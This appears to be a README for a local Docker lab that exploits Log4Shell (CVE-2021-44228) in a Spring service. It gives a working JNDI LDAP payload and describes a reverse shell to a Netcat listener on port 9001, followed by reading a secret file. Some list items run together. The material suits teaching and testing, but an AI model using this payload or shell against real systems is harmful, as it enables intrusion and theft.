
Presents how to exploit CVE-2021-44228 vulnerability.
A Java-based project presenting how to exploit CVE-2021-44228 vulnerability.
jdk1.8.0_181 directory created during the extraction.make all to build all projects and create a Docker image with the vulnerable service.make start-vulnerable-service to start a Docker container running the service to be exploited. The service will accessible through local machine port 8080make start-nc to start a TCP listener which will wait for the connection with the invaded server to be stablished.make start-exploiter to start the program which will help us exploit the vulnerability.make start-nc has been executed). You might have received a message like Connection received on 172.24.0.2 46638 (IP address and TCP port might not be the same as presented here). This means that the exploitation worked and we now have a shell connected on the server/Docker container.Before answering that, let us take a look about the processes created throughout the flow.

This docker container will serve a simple HTTP service responsible to receive GET requests on /log path with an input parameter. Once it receives, it logs the input on conosole.
In order to exploit the vulnerability, a few specific configurations are required:
1.8.0_181. This is necessary to allow a Java class to be loaded from an external service.spring-boot-starter-logging:2.6.1 by spring-boot-starter-log4j2:2.6.1. The later brings log4j-core:2.14.1 to the project, which is a version vulnerable to CVE-2021-44228.
1.8.0_181.There are no major explanations or tweaks here. This is a simple program used to read and write data through TCP and UDP protocols. We will use it to keep listening for incoming TCP connections on port 9001 (something else will open this connection for us on the server side. 😉).
Once it stablishes the connection, all incoming data will be outputted on the console. Also, all input written will be sent through this connection.
Now this is where the fun begins!
This program encapsulates several steps required to exploit the vulnerability. Let's break it down:
In order to run this program, we need to inform three parameters:
Once the program starts, it will write a Java code based on a template. This template requires two arguments: The Netcat IP address and port.
Once the code is written, the program will then compile it into a binary class file using Java compiler (javac) version 1.8.0_181. This is important to keep the same code version as the exploited service.
The Exploit Java class has rather a simple structure. On its constructor there is an instruction requesting the operating system to create a shell program. Once it is created, the class opens a TCP connection with Netcat, binds the shell & TCP connection inputs & outputs and traps the Java virtual machine execution into a loop until the connection is closed by Netcat. Once it exites the loop the constructor continues as if nothing has happened.
Exploiter opens a sub-process requesting Marshalsec Java program to be executed. Marshalsec program is available at mbechler/marchalsec Github project.
Along with other funcionalities, it manages LDAP requests and can be used to ask incoming connections to resolve requests by downloading Java classes from an external source. In our case, we will use it to request incoming connections to download our Exploit Java class from HTTP service.
Once Exploiter program has created the rigged Java class, it will start a HTTP service with a single response: The Exploit binary Java class.
To put it short, when the vulnerable service requests the external class to be loaded, this service will read the Java class binary file and send it back to the vulnerable service. Simple as that!
Once everything is up and running, the program will then output the HTTP request required to trigger the exploitation. Simply copy and paste it into your favourite browser or curl it throught a terminal, whichever works best for you!
The request will be something similar to this:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Since the query parameters contains special characters, they need to be encoded so the browser can accept it. If we decode it the message will be:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Here is a simplified diagram of what happens once the request is sent:

I will try to use it to explain what happens next:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 using the a key (a rather dull and invalid LDAP distinguished name but, hey, as long as it works...). Log4j then sends a request to this address with the intent to retrieve the value.Observation: host.docker.internal is a valid address from Docker service to reach the physical machine it is running on.
host.docker.internal:8000 with the name Exploit to resolve the request.host.docker.internal:8000 asking to get a resource available at /Exploit path.Exploit binary Java class.Exploit() constructor method.Exploit() constructor method starts a shell program on the server, and requests a TCP channel to be opened with host.docker.internal:9001.Exploit() constructor method thens binds the shell inputs & outputs with the TCP connection and traps the Java Virtual Machine thread in a loop until the TCP connection is closed by the other side.TBD
kozmer/log4j-shell-poc Github project - It helped me understand how the exploitation works. Thank you all who contributed to this project!
mbechler/marchalsec Github project - I would not be able to work with LDAP communication and redirection as quickly as I did without this project. Thank you folks!
SrcCodes Log4j Vulnerability video - A well explained video presenting how to start the exploitation on a Spring-based program.
Nowcomm CVE-2021-44228 exploit demo video - A nice video explaining how to exploit CVE-2021-44228 on Apache Solr. I had to watch the second half about a dozen times to understand what was actually happening! 😛
whoami command. You might receive root as output.cat ../private-directory/my-secret-file.txt to see what happens. 🙂CTRL+C to close the connection.CTRL+C on the other terminals to interrupt the processes.